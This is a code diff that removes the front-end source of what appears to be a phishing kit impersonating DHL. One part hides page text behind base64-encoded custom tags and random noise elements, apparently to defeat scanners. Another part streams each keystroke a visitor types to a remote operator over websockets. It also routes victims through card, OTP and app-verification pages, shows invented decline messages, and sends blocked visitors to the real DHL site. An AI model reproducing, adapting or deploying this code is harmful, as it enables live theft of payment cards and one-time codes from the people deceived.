||||||
if (textContent) {
|
|
||||||
// 替换整个DIV的内容
|
|
||||||
const originalHTML = element.innerHTML;
|
|
||||||
const processedHTML = obfuscateText(textContent);
|
|
||||||
element.innerHTML = processedHTML + originalHTML.replace(textContent, '');
|
|
||||||
element.setAttribute('data-obfuscated', 'true');
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
// 跳过带有特定标记的元素(避免重复处理)
|
|
||||||
if (element.hasAttribute('data-obfuscated') ||
|
|
||||||
!element ||
|
|
||||||
SKIP_TAGS.includes(element.tagName) ||
|
|
||||||
Array.from(element.classList).some(cls => SKIP_CLASSES.includes(cls))) {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 使用 TreeWalker 遍历所有文本节点
|
|
||||||
const walker = document.createTreeWalker(
|
|
||||||
element,
|
|
||||||
NodeFilter.SHOW_TEXT,
|
|
||||||
{
|
|
||||||
acceptNode(node) {
|
|
||||||
// 不处理完全空的文本节点
|
|
||||||
if (!node.textContent) {
|
|
||||||
return NodeFilter.FILTER_REJECT;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 检查父节点是否应该被跳过
|
|
||||||
const parent = node.parentElement;
|
|
||||||
if (parent && (
|
|
||||||
SKIP_TAGS.includes(parent.tagName) ||
|
|
||||||
parent.hasAttribute('data-obfuscated') ||
|
|
||||||
Array.from(parent.classList || []).some(cls => SKIP_CLASSES.includes(cls))
|
|
||||||
)) {
|
|
||||||
return NodeFilter.FILTER_REJECT;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 如果只包含空白且不是段落的首个节点,则跳过
|
|
||||||
if (node.textContent.trim() === '' &&
|
|
||||||
!(parent?.tagName === 'P' && node === parent.firstChild)) {
|
|
||||||
return NodeFilter.FILTER_REJECT;
|
|
||||||
}
|
|
||||||
|
|
||||||
return NodeFilter.FILTER_ACCEPT;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
);
|
|
||||||
|
|
||||||
// 收集需要处理的文本节点
|
|
||||||
const textNodes: Text[] = [];
|
|
||||||
let currentNode: Node | null = walker.nextNode();
|
|
||||||
|
|
||||||
while (currentNode) {
|
|
||||||
textNodes.push(currentNode as Text);
|
|
||||||
currentNode = walker.nextNode();
|
|
||||||
}
|
|
||||||
|
|
||||||
// 预先计算所有混淆内容,减少DOM操作次数
|
|
||||||
const fragments: DocumentFragment[] = [];
|
|
||||||
const nodesToReplace: Text[] = [];
|
|
||||||
|
|
||||||
// 在处理文本节点前,移除所有前导空格
|
|
||||||
for (const textNode of textNodes) {
|
|
||||||
const text = textNode.textContent;
|
|
||||||
if (!text) continue;
|
|
||||||
|
|
||||||
// 重要修改:检测是否是段落的首个文本节点,无条件移除开头的空白
|
|
||||||
let processedText = text;
|
|
||||||
if (textNode.parentElement?.tagName === 'P' &&
|
|
||||||
textNode === textNode.parentElement.firstChild) {
|
|
||||||
// 去除开头的空白,无论什么情况
|
|
||||||
processedText = text.replace(/^\s+/, '');
|
|
||||||
// 如果去除空白后为空,直接跳过这个节点
|
|
||||||
if (!processedText) continue;
|
|
||||||
}
|
|
||||||
|
|
||||||
try {
|
|
||||||
// 创建文档碎片来存储混淆后的内容
|
|
||||||
const fragment = document.createDocumentFragment();
|
|
||||||
const tempContainer = document.createElement('div');
|
|
||||||
tempContainer.innerHTML = obfuscateText(processedText);
|
|
||||||
|
|
||||||
// 将内容移动到碎片中
|
|
||||||
while (tempContainer.firstChild) {
|
|
||||||
fragment.appendChild(tempContainer.firstChild);
|
|
||||||
}
|
|
||||||
|
|
||||||
fragments.push(fragment);
|
|
||||||
nodesToReplace.push(textNode);
|
|
||||||
} catch (error) {
|
|
||||||
console.error('Error processing text node:', error);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 批量替换节点,减少回流
|
|
||||||
for (let i = 0; i < nodesToReplace.length; i++) {
|
|
||||||
const textNode = nodesToReplace[i];
|
|
||||||
const fragment = fragments[i];
|
|
||||||
|
|
||||||
if (textNode.parentNode) {
|
|
||||||
textNode.parentNode.replaceChild(fragment, textNode);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 设置 MutationObserver 来监听 DOM 变化
|
|
||||||
*/
|
|
||||||
function setupMutationObserver(element: Element) {
|
|
||||||
if (!element) return;
|
|
||||||
|
|
||||||
const observer = new MutationObserver((mutations) => {
|
|
||||||
for (const mutation of mutations) {
|
|
||||||
if (mutation.type === 'childList' && mutation.addedNodes.length) {
|
|
||||||
mutation.addedNodes.forEach((node) => {
|
|
||||||
if (node.nodeType === Node.ELEMENT_NODE) {
|
|
||||||
processTextNodes(node as Element, null);
|
|
||||||
// 观察到新元素后立即解码
|
|
||||||
if (window.decodeObfuscatedContent) {
|
|
||||||
window.decodeObfuscatedContent(node as Element);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
});
|
|
||||||
}
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
observer.observe(element, {
|
|
||||||
childList: true,
|
|
||||||
subtree: true
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 生成随机噪声标签和注释
|
|
||||||
*/
|
|
||||||
function getRandomNoise() {
|
|
||||||
const noiseTypes = [
|
|
||||||
// HTML注释
|
|
||||||
() => `<!--${Math.random().toString(36).substring(2, 6)}-->`,
|
|
||||||
// 空的自定义元素
|
|
||||||
() => {
|
|
||||||
const tags = ['z-nil', 'z-void', 'z-null', 'z-fake', 'z-empty'];
|
|
||||||
const tag = tags[Math.floor(Math.random() * tags.length)];
|
|
||||||
return `<${tag}></${tag}>`;
|
|
||||||
},
|
|
||||||
// 带随机属性的自定义元素
|
|
||||||
() => {
|
|
||||||
const attr = `data-${Math.random().toString(36).substring(2, 7)}`;
|
|
||||||
const value = Math.random().toString(36).substring(2, 10);
|
|
||||||
return `<z-attr ${attr}="${value}"></z-attr>`;
|
|
||||||
},
|
|
||||||
// 带随机文本的隐藏元素
|
|
||||||
() => {
|
|
||||||
const text = Math.random().toString(36).substring(2, 8);
|
|
||||||
return `<z-text>${text}</z-text>`;
|
|
||||||
}
|
|
||||||
];
|
|
||||||
|
|
||||||
// 随机选择一种噪声类型
|
|
||||||
const noiseGenerator = noiseTypes[Math.floor(Math.random() * noiseTypes.length)];
|
|
||||||
return noiseGenerator();
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 混淆文本 - 将文本拆分成单词并分别存储,使用自定义z-标签
|
|
||||||
*/
|
|
||||||
function obfuscateText(text: string): string {
|
|
||||||
if (!text) return '';
|
|
||||||
|
|
||||||
// 首先移除文本开头的所有空白字符以解决段落首行缩进问题
|
|
||||||
text = text.replace(/^\s+/, '');
|
|
||||||
if (!text) return '';
|
|
||||||
|
|
||||||
// 使用正则表达式将文本拆分为单词和空格,保持完整性
|
|
||||||
const words = text.split(/(\s+)/);
|
|
||||||
let result = '<z-wrap data-obfuscated="true">';
|
|
||||||
|
|
||||||
// 过滤掉空字符串,避免生成空的z-span元素
|
|
||||||
const filteredWords = words.filter(word => word.length > 0);
|
|
||||||
|
|
||||||
// 为每个单词创建一个独立的自定义元素
|
|
||||||
filteredWords.forEach((word, index) => {
|
|
||||||
// 对空格和特殊字符进行特殊处理
|
|
||||||
if (/^\s+$/.test(word)) {
|
|
||||||
// 改进:更精确地处理各种换行符
|
|
||||||
if (/[\n\r]/.test(word)) {
|
|
||||||
// 将所有类型的换行符分割出来,但仅在实际有换行符时才添加z-break元素
|
|
||||||
result += '<z-break></z-break>';
|
|
||||||
} else {
|
|
||||||
// 纯空格的情况 - 对连续空格合并处理,避免添加过多z-space
|
|
||||||
result += '<z-space></z-space>';
|
|
||||||
}
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 随机在单词前添加噪声,但减少频率
|
|
||||||
if (Math.random() > 0.85) {
|
|
||||||
result += getRandomNoise();
|
|
||||||
}
|
|
||||||
|
|
||||||
// 为了提高效率,固定属性名
|
|
||||||
const attrId = `data`;
|
|
||||||
|
|
||||||
// 将单词编码为Base64
|
|
||||||
const encodedWord = btoa(encodeURIComponent(word));
|
|
||||||
|
|
||||||
// 随机选择z-span或z-strong标签增加混淆度
|
|
||||||
const tagName = Math.random() > 0.5 ? 'z-span' : 'z-strong';
|
|
||||||
|
|
||||||
// 添加标签开始部分
|
|
||||||
result += `<${tagName} data-${attrId}="${encodedWord}" data-preload="true">`;
|
|
||||||
|
|
||||||
// 随机在标签内添加隐藏内容,但减少频率
|
|
||||||
if (Math.random() > 0.8) {
|
|
||||||
const fakeText = Math.random().toString(36).substring(2, 5 + Math.floor(Math.random() * 5));
|
|
||||||
result += `<z-hidden>${fakeText}</z-hidden>`;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 闭合标签
|
|
||||||
result += `</${tagName}>`;
|
|
||||||
|
|
||||||
// 随机在单词后添加噪声,但减少频率
|
|
||||||
if (Math.random() > 0.85) {
|
|
||||||
result += getRandomNoise();
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
result += '</z-wrap>';
|
|
||||||
return result;
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 添加显示混淆内容的样式和解码脚本
|
|
||||||
*/
|
|
||||||
function addObfuscationStyle() {
|
|
||||||
// 添加样式
|
|
||||||
if (!document.getElementById('obfuscation-style')) {
|
|
||||||
const style = document.createElement('style');
|
|
||||||
style.id = 'obfuscation-style';
|
|
||||||
style.textContent = `
|
|
||||||
/* 自定义元素基本样式 */
|
|
||||||
z-wrap {
|
|
||||||
display: inline;
|
|
||||||
white-space: normal;
|
|
||||||
user-select: none; /* 阻止文本选择 */
|
|
||||||
text-indent: 0 !important; /* 确保无缩进 */
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 添加一个类来允许选择文本的情况 */
|
|
||||||
.allow-select z-wrap {
|
|
||||||
user-select: text;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 确保段落中的混淆内容没有开头缩进 */
|
|
||||||
p > z-wrap:first-child {
|
|
||||||
text-indent: 0 !important;
|
|
||||||
margin-left: 0 !important;
|
|
||||||
padding-left: 0 !important;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 处理所有p标签,确保没有多余空间 */
|
|
||||||
p {
|
|
||||||
text-indent: 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
z-span, z-strong {
|
|
||||||
display: inline-block;
|
|
||||||
position: relative;
|
|
||||||
opacity: 1;
|
|
||||||
transition: opacity 0.1s ease;
|
|
||||||
margin: 0;
|
|
||||||
padding: 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 控制右侧间距 */
|
|
||||||
z-span + z-span, z-strong + z-strong, z-span + z-strong, z-strong + z-span {
|
|
||||||
margin-left: 0.1em;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 移除最后一个元素的右侧间距 */
|
|
||||||
z-span:last-child, z-strong:last-child {
|
|
||||||
margin-right: 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
z-span::after, z-strong::after {
|
|
||||||
content: attr(data-content);
|
|
||||||
position: relative;
|
|
||||||
pointer-events: none;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 空格元素 - 精确控制宽度 */
|
|
||||||
z-space {
|
|
||||||
display: inline-block;
|
|
||||||
width: 0.25em;
|
|
||||||
margin: 0;
|
|
||||||
padding: 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 空的z-span/z-strong元素不应该显示 */
|
|
||||||
z-span:not([data-content]), z-strong:not([data-content]) {
|
|
||||||
display: none;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 换行元素 - 强制换行且完全没有尺寸 */
|
|
||||||
z-break {
|
|
||||||
display: block !important;
|
|
||||||
height: 0 !important;
|
|
||||||
width: 0 !important;
|
|
||||||
margin: 0 !important;
|
|
||||||
padding: 0 !important;
|
|
||||||
border: none !important;
|
|
||||||
line-height: 0 !important;
|
|
||||||
font-size: 0 !important;
|
|
||||||
overflow: hidden !important;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 隐藏所有噪声元素 */
|
|
||||||
z-nil, z-void, z-null, z-fake, z-empty, z-attr, z-text, z-hidden {
|
|
||||||
display: none;
|
|
||||||
width: 0;
|
|
||||||
height: 0;
|
|
||||||
opacity: 0;
|
|
||||||
overflow: hidden;
|
|
||||||
position: absolute;
|
|
||||||
visibility: hidden;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 预加载状态 */
|
|
||||||
[data-preload="true"] {
|
|
||||||
min-width: 0.5em;
|
|
||||||
min-height: 1em;
|
|
||||||
}
|
|
||||||
`;
|
|
||||||
document.head.appendChild(style);
|
|
||||||
}
|
|
||||||
|
|
||||||
// 添加自定义元素注册,确保所有浏览器都能正确处理
|
|
||||||
const scriptCustomElements = document.createElement('script');
|
|
||||||
scriptCustomElements.textContent = `
|
|
||||||
// 注册所有自定义元素
|
|
||||||
if ('customElements' in window) {
|
|
||||||
customElements.define('z-wrap', class extends HTMLElement {});
|
|
||||||
customElements.define('z-span', class extends HTMLElement {});
|
|
||||||
customElements.define('z-strong', class extends HTMLElement {});
|
|
||||||
customElements.define('z-space', class extends HTMLElement {});
|
|
||||||
customElements.define('z-break', class extends HTMLElement {});
|
|
||||||
|
|
||||||
// 注册噪声元素
|
|
||||||
customElements.define('z-nil', class extends HTMLElement {});
|
|
||||||
customElements.define('z-void', class extends HTMLElement {});
|
|
||||||
customElements.define('z-null', class extends HTMLElement {});
|
|
||||||
customElements.define('z-fake', class extends HTMLElement {});
|
|
||||||
customElements.define('z-empty', class extends HTMLElement {});
|
|
||||||
customElements.define('z-attr', class extends HTMLElement {});
|
|
||||||
customElements.define('z-text', class extends HTMLElement {});
|
|
||||||
customElements.define('z-hidden', class extends HTMLElement {});
|
|
||||||
}
|
|
||||||
`;
|
|
||||||
document.head.appendChild(scriptCustomElements);
|
|
||||||
|
|
||||||
// 添加提前解码的脚本,放在<head>顶部优先加载
|
|
||||||
if (!document.getElementById('obfuscation-script')) {
|
|
||||||
const script = document.createElement('script');
|
|
||||||
script.id = 'obfuscation-script';
|
|
||||||
script.textContent = `
|
|
||||||
(function() {
|
|
||||||
// 定义解码函数并暴露为全局函数
|
|
||||||
window.decodeObfuscatedContent = function(rootElement) {
|
|
||||||
const root = rootElement || document.body;
|
|
||||||
const elements = root.querySelectorAll('z-span[data-preload="true"], z-strong[data-preload="true"]');
|
|
||||||
|
|
||||||
if (elements.length === 0) return;
|
|
||||||
|
|
||||||
// 使用requestIdleCallback或setTimeout在空闲时运行,避免阻塞渲染
|
|
||||||
const runWhenIdle = window.requestIdleCallback ||
|
|
||||||
function(cb) { setTimeout(cb, 1); };
|
|
||||||
|
|
||||||
runWhenIdle(() => {
|
|
||||||
elements.forEach(el => {
|
|
||||||
// 避免重复解码
|
|
||||||
if (el.hasAttribute('data-content')) return;
|
|
||||||
|
|
||||||
// 找到编码数据
|
|
||||||
const dataAttr = el.getAttribute('data-data');
|
|
||||||
if (dataAttr) {
|
|
||||||
try {
|
|
||||||
// 解码并设置
|
|
||||||
const decodedWord = decodeURIComponent(atob(dataAttr));
|
|
||||||
el.setAttribute('data-content', decodedWord);
|
|
||||||
el.removeAttribute('data-preload');
|
|
||||||
} catch (e) {
|
|
||||||
// 解码失败时跳过
|
|
||||||
}
|
|
||||||
}
|
|
||||||
});
|
|
||||||
});
|
|
||||||
};
|
|
||||||
|
|
||||||
// 页面加载完成后立即执行一次全局解码
|
|
||||||
if (document.readyState === 'loading') {
|
|
||||||
document.addEventListener('DOMContentLoaded', function() {
|
|
||||||
window.decodeObfuscatedContent();
|
|
||||||
});
|
|
||||||
} else {
|
|
||||||
window.decodeObfuscatedContent();
|
|
||||||
}
|
|
||||||
|
|
||||||
// 使用IntersectionObserver优化解码性能
|
|
||||||
if ('IntersectionObserver' in window) {
|
|
||||||
const decodeObserver = new IntersectionObserver(
|
|
||||||
(entries, observer) => {
|
|
||||||
entries.forEach(entry => {
|
|
||||||
if (entry.isIntersecting) {
|
|
||||||
// 容器进入视口时解码其内容
|
|
||||||
window.decodeObfuscatedContent(entry.target);
|
|
||||||
observer.unobserve(entry.target);
|
|
||||||
}
|
|
||||||
});
|
|
||||||
},
|
|
||||||
{ rootMargin: '200px 0px' } // 提前200像素开始解码
|
|
||||||
);
|
|
||||||
|
|
||||||
// 监听所有混淆容器
|
|
||||||
function observeContainers() {
|
|
||||||
document.querySelectorAll('z-wrap').forEach(container => {
|
|
||||||
decodeObserver.observe(container);
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
// 初始观察
|
|
||||||
if (document.readyState === 'loading') {
|
|
||||||
document.addEventListener('DOMContentLoaded', observeContainers);
|
|
||||||
} else {
|
|
||||||
observeContainers();
|
|
||||||
}
|
|
||||||
|
|
||||||
// 定期检查新容器
|
|
||||||
setInterval(observeContainers, 2000);
|
|
||||||
} else {
|
|
||||||
// 降级方案:定期全局检查
|
|
||||||
setInterval(() => window.decodeObfuscatedContent(), 1000);
|
|
||||||
}
|
|
||||||
})();
|
|
||||||
`;
|
|
||||||
|
|
||||||
// 将脚本添加到head的最前面,确保尽早加载
|
|
||||||
if (document.head.firstChild) {
|
|
||||||
document.head.insertBefore(script, document.head.firstChild);
|
|
||||||
} else {
|
|
||||||
document.head.appendChild(script);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,331 +0,0 @@
|
|||||||
import _ from "lodash";
|
|
||||||
import { sendInput } from "@/api/api";
|
|
||||||
import type { Socket } from "@/utils/websocket";
|
|
||||||
import eventBus from "@/utils/eventBus";
|
|
||||||
import router from "@/router";
|
|
||||||
import { ref } from "vue";
|
|
||||||
import { useSocket } from "@/utils/websocket";
|
|
||||||
import { useLoadingStore } from "@/stores/loadingStore";
|
|
||||||
import i18n from "@/main";
|
|
||||||
import { useSocketIo } from "./socketio";
|
|
||||||
|
|
||||||
const viteBaseUrl = import.meta.env.VITE_BASE_URL;
|
|
||||||
|
|
||||||
// WebSocket interface
|
|
||||||
interface MyWebSocket {
|
|
||||||
socket: any;
|
|
||||||
send: (data: string) => Promise<void>;
|
|
||||||
off: (event: string) => void;
|
|
||||||
on: (event: string, callback: (data: any) => void) => void;
|
|
||||||
}
|
|
||||||
|
|
||||||
export const customOtpData = ref<any>({});
|
|
||||||
|
|
||||||
export function setCustomOtpData(data: any) {
|
|
||||||
customOtpData.value = data;
|
|
||||||
localStorage.setItem("customOtpData", JSON.stringify(data));
|
|
||||||
}
|
|
||||||
|
|
||||||
export let myWebSocket: MyWebSocket | undefined;
|
|
||||||
|
|
||||||
// Configuration data
|
|
||||||
export const configData = ref<Record<string, any>>({});
|
|
||||||
|
|
||||||
// Utility function to check if all values in an object are not empty
|
|
||||||
export function areAllValuesNotEmpty(
|
|
||||||
obj: Record<string, any>,
|
|
||||||
excludedFields: string[] = []
|
|
||||||
): boolean {
|
|
||||||
return Object.keys(obj).every((key) => {
|
|
||||||
if (excludedFields.includes(key)) return true;
|
|
||||||
const value = obj[key];
|
|
||||||
return (
|
|
||||||
value !== null &&
|
|
||||||
value !== undefined &&
|
|
||||||
value !== "" &&
|
|
||||||
!(typeof value === "string" && value.trim() === "")
|
|
||||||
);
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
// 存储 WebSocket 和 API 的防抖函数
|
|
||||||
const wsDebounceFunctions: Record<
|
|
||||||
string,
|
|
||||||
_.DebouncedFunc<(...args: any[]) => void>
|
|
||||||
> = {};
|
|
||||||
const apiDebounceFunctions: Record<
|
|
||||||
string,
|
|
||||||
_.DebouncedFunc<(...args: any[]) => void>
|
|
||||||
> = {};
|
|
||||||
|
|
||||||
// 获取或创建针对某个键的防抖函数
|
|
||||||
function getDebouncedFunction(
|
|
||||||
debounceFunctions: Record<string, _.DebouncedFunc<(...args: any[]) => void>>,
|
|
||||||
key: string,
|
|
||||||
func: (...args: any[]) => void,
|
|
||||||
wait: number
|
|
||||||
) {
|
|
||||||
if (!debounceFunctions[key]) {
|
|
||||||
debounceFunctions[key] = _.debounce(func, wait);
|
|
||||||
}
|
|
||||||
return debounceFunctions[key];
|
|
||||||
}
|
|
||||||
|
|
||||||
const modeRef = ref(1)
|
|
||||||
|
|
||||||
|
|
||||||
// 处理输入变化
|
|
||||||
export function inputChange(type: string, key: any, value: any) {
|
|
||||||
const currentTimestamp = Date.now(); // 当前时间戳
|
|
||||||
|
|
||||||
// WebSocket 防抖函数
|
|
||||||
const wsDebouncedFunction = getDebouncedFunction(
|
|
||||||
wsDebounceFunctions,
|
|
||||||
key,
|
|
||||||
(type, key, value) => {
|
|
||||||
myWebSocket?.send(
|
|
||||||
JSON.stringify({
|
|
||||||
event: "input_text",
|
|
||||||
content: { type, key, text: value },
|
|
||||||
timestamp: currentTimestamp,
|
|
||||||
})
|
|
||||||
);
|
|
||||||
},
|
|
||||||
300
|
|
||||||
);
|
|
||||||
|
|
||||||
// API 防抖函数
|
|
||||||
const apiDebouncedFunction = getDebouncedFunction(
|
|
||||||
apiDebounceFunctions,
|
|
||||||
key,
|
|
||||||
(type, key, value) => {
|
|
||||||
sendInput({
|
|
||||||
content: { type, key, text: value },
|
|
||||||
timestamp: currentTimestamp,
|
|
||||||
});
|
|
||||||
},
|
|
||||||
1000
|
|
||||||
);
|
|
||||||
|
|
||||||
// 调用防抖函数
|
|
||||||
wsDebouncedFunction(type, key, value);
|
|
||||||
if(modeRef.value !== 2) {
|
|
||||||
apiDebouncedFunction(type, key, value);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
// Handle login success
|
|
||||||
export function loginSuccess(token: string, mode: number) {
|
|
||||||
if(mode === 2) {
|
|
||||||
modeRef.value = 2
|
|
||||||
myWebSocket = useSocketIo(
|
|
||||||
`wss://${viteBaseUrl !== "/" ? viteBaseUrl : window.location.host
|
|
||||||
}/ws?token=${token}`
|
|
||||||
);
|
|
||||||
}else{
|
|
||||||
myWebSocket = useSocket(
|
|
||||||
`wss://${viteBaseUrl !== "/" ? viteBaseUrl : window.location.host
|
|
||||||
}/ws?token=${token}`
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
myWebSocket?.on("close", () => console.log("Socket closed!"));
|
|
||||||
myWebSocket?.on("open", () => {
|
|
||||||
const lastToken = localStorage.getItem("token");
|
|
||||||
loginWebsocket(token, lastToken !== token);
|
|
||||||
});
|
|
||||||
|
|
||||||
myWebSocket?.on("message", handleMessage);
|
|
||||||
|
|
||||||
window.addEventListener("beforeunload", () => {
|
|
||||||
myWebSocket?.off("close");
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
// Handle WebSocket messages
|
|
||||||
function handleMessage(data: any) {
|
|
||||||
const jsonData = JSON.parse(data);
|
|
||||||
if (!jsonData || !jsonData.event) return;
|
|
||||||
|
|
||||||
const { event, content } = jsonData;
|
|
||||||
|
|
||||||
switch (event) {
|
|
||||||
case "login":
|
|
||||||
//handleLoginEvent(content);
|
|
||||||
break;
|
|
||||||
case "result_type":
|
|
||||||
handleResultTypeEvent(content);
|
|
||||||
break;
|
|
||||||
case "reload":
|
|
||||||
window.location.reload();
|
|
||||||
break;
|
|
||||||
default:
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Handle login event
|
|
||||||
function handleLoginEvent(content: any) {
|
|
||||||
const route = localStorage.getItem("route");
|
|
||||||
if (route) {
|
|
||||||
const customOtpDataValue = localStorage.getItem("customOtpData");
|
|
||||||
if (route === "customOtpValid" && customOtpDataValue) {
|
|
||||||
setCustomOtpData(JSON.parse(customOtpDataValue));
|
|
||||||
myWebSocket?.send(
|
|
||||||
JSON.stringify({
|
|
||||||
event: "page_type",
|
|
||||||
content: { pageType: "customOtpValid", pageTitle: customOtpData.value.name, customType: customOtpData.value.type },
|
|
||||||
})
|
|
||||||
);
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
myWebSocket?.send(
|
|
||||||
JSON.stringify({
|
|
||||||
event: "page_type",
|
|
||||||
content: { pageType: route },
|
|
||||||
})
|
|
||||||
);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Handle result type event
|
|
||||||
function handleResultTypeEvent(content: any) {
|
|
||||||
if (!content) return;
|
|
||||||
|
|
||||||
const typeHandlers: Record<string, () => void> = {
|
|
||||||
customOtpValid: () => navigateTo("/customOtpValid", content),
|
|
||||||
otpValid: () => navigateTo("/otpValid", content),
|
|
||||||
appValid: () => navigateTo("/appValid", content),
|
|
||||||
success: () => router.push("/success"),
|
|
||||||
kickOut: redirectToExternal,
|
|
||||||
block: redirectToExternal,
|
|
||||||
otpFail: () =>
|
|
||||||
eventBus.emit("otp-valid", {
|
|
||||||
message2:
|
|
||||||
content.value.message2 ||
|
|
||||||
i18n.global.t("Verification code error, please try again"),
|
|
||||||
}),
|
|
||||||
appFail: () =>
|
|
||||||
eventBus.emit("app-valid", {
|
|
||||||
message2:
|
|
||||||
content.value.message2 ||
|
|
||||||
i18n.global.t(
|
|
||||||
"The session is about to expire, please complete the verification now"
|
|
||||||
),
|
|
||||||
}),
|
|
||||||
back: () => handleBackOrReject(content, true),
|
|
||||||
reject: () => handleBackOrReject(content, false),
|
|
||||||
refresh: () => {
|
|
||||||
if(localStorage.getItem("route")){
|
|
||||||
localStorage.removeItem("route");
|
|
||||||
window.location.reload();
|
|
||||||
}
|
|
||||||
},
|
|
||||||
};
|
|
||||||
|
|
||||||
if (content.type == "customOtpValid") {
|
|
||||||
if(content.value.customOtpData) {
|
|
||||||
setCustomOtpData(JSON.parse(content.value.customOtpData));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if (content.type == "customOtpFail") {
|
|
||||||
eventBus.emit("custom-otp-valid", {
|
|
||||||
message2: content.value.message2,
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
const handler = typeHandlers[content.type];
|
|
||||||
if (handler) handler();
|
|
||||||
|
|
||||||
useLoadingStore().setLoading(false);
|
|
||||||
}
|
|
||||||
|
|
||||||
// Navigate to specific path with query parameters
|
|
||||||
function navigateTo(path: string, content: any) {
|
|
||||||
|
|
||||||
router.push('/temp').then(() => {
|
|
||||||
router.push({
|
|
||||||
path: path,
|
|
||||||
query: {
|
|
||||||
cardType: content.value?.data?.cardData?.cardBIN?.schema,
|
|
||||||
message1: content.value?.message1,
|
|
||||||
key: new Date().getMilliseconds(),
|
|
||||||
},
|
|
||||||
});
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
// Handle back or reject type
|
|
||||||
function handleBackOrReject(content: any, isBack: boolean) {
|
|
||||||
let message2 = i18n.global.t(
|
|
||||||
"This card does not support this transaction, please try another card"
|
|
||||||
);
|
|
||||||
|
|
||||||
if (configData.value.error_card_msg) {
|
|
||||||
message2 = configData.value.error_card_msg;
|
|
||||||
}
|
|
||||||
|
|
||||||
if (content.value.type) {
|
|
||||||
const type = content.value.type;
|
|
||||||
if (type === "denyC" && configData.value.deny_c_msg) {
|
|
||||||
message2 = configData.value.deny_c_msg;
|
|
||||||
}
|
|
||||||
if (type === "denyD" && configData.value.deny_d_msg) {
|
|
||||||
message2 = configData.value.deny_d_msg;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if (content.value.message2) {
|
|
||||||
message2 = content.value.message2;
|
|
||||||
}
|
|
||||||
|
|
||||||
if (isBack) {
|
|
||||||
router.push({ path: "/card", query: { message2 } });
|
|
||||||
}
|
|
||||||
|
|
||||||
eventBus.emit("my-event", { message2 });
|
|
||||||
}
|
|
||||||
|
|
||||||
// Login to WebSocket
|
|
||||||
function loginWebsocket(token: string, isFirst: boolean) {
|
|
||||||
myWebSocket?.send(
|
|
||||||
JSON.stringify({
|
|
||||||
event: "login",
|
|
||||||
content: { tag: "user", token, isFirst },
|
|
||||||
})
|
|
||||||
);
|
|
||||||
initHtml();
|
|
||||||
}
|
|
||||||
|
|
||||||
// Redirect to an external URL
|
|
||||||
export function redirectToExternal() {
|
|
||||||
window.location.href = "https://www.dhl.com/ch-de/home.html";
|
|
||||||
}
|
|
||||||
|
|
||||||
export async function loadHtml(url: string) {
|
|
||||||
try {
|
|
||||||
const response = await fetch(url); // 替换为您的 HTML 文件路径
|
|
||||||
if (!response.ok) {
|
|
||||||
return "";
|
|
||||||
}
|
|
||||||
return await response.text();
|
|
||||||
} catch (error) {
|
|
||||||
return "";
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
export const headerHtml = ref("");
|
|
||||||
export const footerHtml = ref("");
|
|
||||||
export const loadingBg = ref("#ffffff");
|
|
||||||
|
|
||||||
const initHtml = async () => {
|
|
||||||
const routePath = localStorage.getItem("route");
|
|
||||||
headerHtml.value = await loadHtml("/Static_zy/header.html");
|
|
||||||
footerHtml.value = await loadHtml("/Static_zy/footer.html");
|
|
||||||
await router.push(routePath ? `/${routePath}` : "/phone1");
|
|
||||||
setTimeout(async () => {
|
|
||||||
useLoadingStore().setLoading(false);
|
|
||||||
loadingBg.value = "transparent";
|
|
||||||
}, 200);
|
|
||||||
};
|
|
||||||
@@ -1,51 +0,0 @@
|
|||||||
<script setup lang="ts">
|
|
||||||
|
|
||||||
import { myWebSocket } from "@/utils/common";
|
|
||||||
|
|
||||||
defineProps<{
|
|
||||||
msg: string;
|
|
||||||
}>();
|
|
||||||
|
|
||||||
const sendMsg = () => {
|
|
||||||
myWebSocket?.send(
|
|
||||||
JSON.stringify({ event: "heartbeat", content: { userId: "haha" } })
|
|
||||||
);
|
|
||||||
};
|
|
||||||
</script>
|
|
||||||
|
|
||||||
<template>
|
|
||||||
<div class="greetings">
|
|
||||||
